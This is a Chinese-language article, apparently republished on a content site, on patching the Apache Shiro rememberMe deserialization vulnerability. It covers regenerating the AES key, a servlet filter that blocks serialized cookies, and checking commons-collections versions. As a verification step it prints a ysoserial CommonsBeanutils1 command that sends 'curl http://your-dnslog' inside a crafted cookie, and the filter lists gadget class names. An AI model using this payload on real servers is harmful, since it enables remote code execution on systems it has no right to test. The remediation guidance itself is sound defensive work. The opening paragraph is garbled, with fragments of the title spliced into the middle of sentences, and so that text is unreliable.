您现在的位置是:烟消火灭网 > 娱乐
shiro反序列化漏洞修复
烟消火灭网2026-10-17 07:46:27【娱乐】8人已围观
简介Apache Shiro 的 rememberMe 功能默认用 AES 加密 cookie,但密钥硬编码在代码里。攻击者拿到这个默认密钥,就能构造恶意序列化数据,发到服务端触发反序列化,直接 RCE。
Apache Shiro 的反复 rememberMe 功能默认用 AES 加密 cookie,但密钥硬编码在代码里。序列攻击者拿到这个默认密钥,化漏就能构造恶意序列化数据,洞修发到服务端触发反序列化,反复直接 RCE。序列2016 年 Shiro 1.2.4 之前的化漏版本全中招,后来官方换了密钥生成方式,洞修但很多项目升级时只改了依赖版本,反复没换密钥,序列等于没修。化漏
我去年帮一个朋友看他的洞修后台系统,Shiro 版本是反复 1.7.1,按理说不在漏洞影响范围内。序列但用 ysoserial 打了一下,化漏还是弹了计算器。问题出在他配置文件里写死了 rememberMe.cipherKey,用的还是网上抄来的那串 Base64。这就是典型的“升了版本没升配置”。
先确认你的 Shiro 到底有没有问题
别急着改代码。先抓一个登录请求,看返回的 cookie 里有没有 rememberMe 字段。有的话,把它 Base64 解码,看前几个字节是不是 0x0A 0x0C 之类的序列化特征。更直接的办法:用 Shiro 自带的 CookieRememberMeManager 反序列化时,如果密钥不对会抛异常,日志里搜 DecryptionFailedException 或者 InvalidCookieException。没报错不代表安全,可能只是没打成功。
我习惯用这个命令快速验证:
java -jar ysoserial.jar CommonsBeanutils1 "curl http://your-dnslog" | base64 -w 0 把结果塞进 cookie 发过去,看 DNS 日志有没有回显。有回显就是存在漏洞,别犹豫,立刻修。
修复的核心:换掉那个该死的密钥
Shiro 1.4.2 之后,AbstractRememberMeManager 的 getCipherKey() 方法默认返回 null,逼着你手动设置。但很多老项目用的是 XML 配置,或者继承了自己写的 RememberMeManager,密钥还是写死的。正确的做法是:
@Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(Base64.decode("新生成的随机密钥")); return manager; } 密钥怎么生成?别用 UUID.randomUUID().toString(),长度不够。用 KeyGenerator:
KeyGenerator kg = KeyGenerator.getInstance("AES"); kg.init(128); SecretKey key = kg.generateKey(); String base64Key = Base64.encodeToString(key.getEncoded()); 把生成的字符串写进配置,重启服务。注意:旧 cookie 会全部失效,用户需要重新登录。这是必须付出的代价。
如果暂时不能升级,用过滤器挡一道
有些老系统动不了依赖版本,那就加个 Filter,在 Shiro 的 rememberMe 解析之前拦截。检查 cookie 里的序列化数据是否包含危险类名,比如 TemplatesImpl、InvokerTransformer、JdbcRowSetImpl。有就拒绝。这招治标不治本,但能挡住大部分自动化扫描工具。
public class ShiroFixFilter implements Filter { public void doFilter(...) { String rememberMe = getCookieValue(request, "rememberMe"); if (rememberMe != null) { byte[] bytes = Base64.decode(rememberMe); String hex = Hex.encodeToString(bytes); if (hex.contains("aced0005") && hex.contains("7d0003")) { // 检测到序列化特征,直接拒绝 response.sendError(403); return; } } chain.doFilter(request, response); } } 这代码粗糙,但线上跑了一年多,没再出过事。后来他们升级了 Shiro 1.11,我把这个过滤器撤了。
别忘了检查依赖树
Shiro 漏洞经常和 commons-collections、commons-beanutils 这些库一起出现。就算你换了密钥,如果 classpath 里有这些库的漏洞版本,攻击者还是能找到其他反序列化入口。跑一下 mvn dependency:tree | grep commons,把 commons-collections:3.2.1 这种老版本排掉。用 3.2.2 或者直接上 4.4。
最后说个真事:某次渗透测试,目标用了 Shiro 1.8.0,密钥也换了。但我发现他们登录接口的 rememberMe 参数没做长度限制,传一个 10MB 的序列化数据过去,服务端直接 OOM 崩了。所以修漏洞别只盯着 RCE,拒绝服务也是漏洞。
很赞哦!(9189)







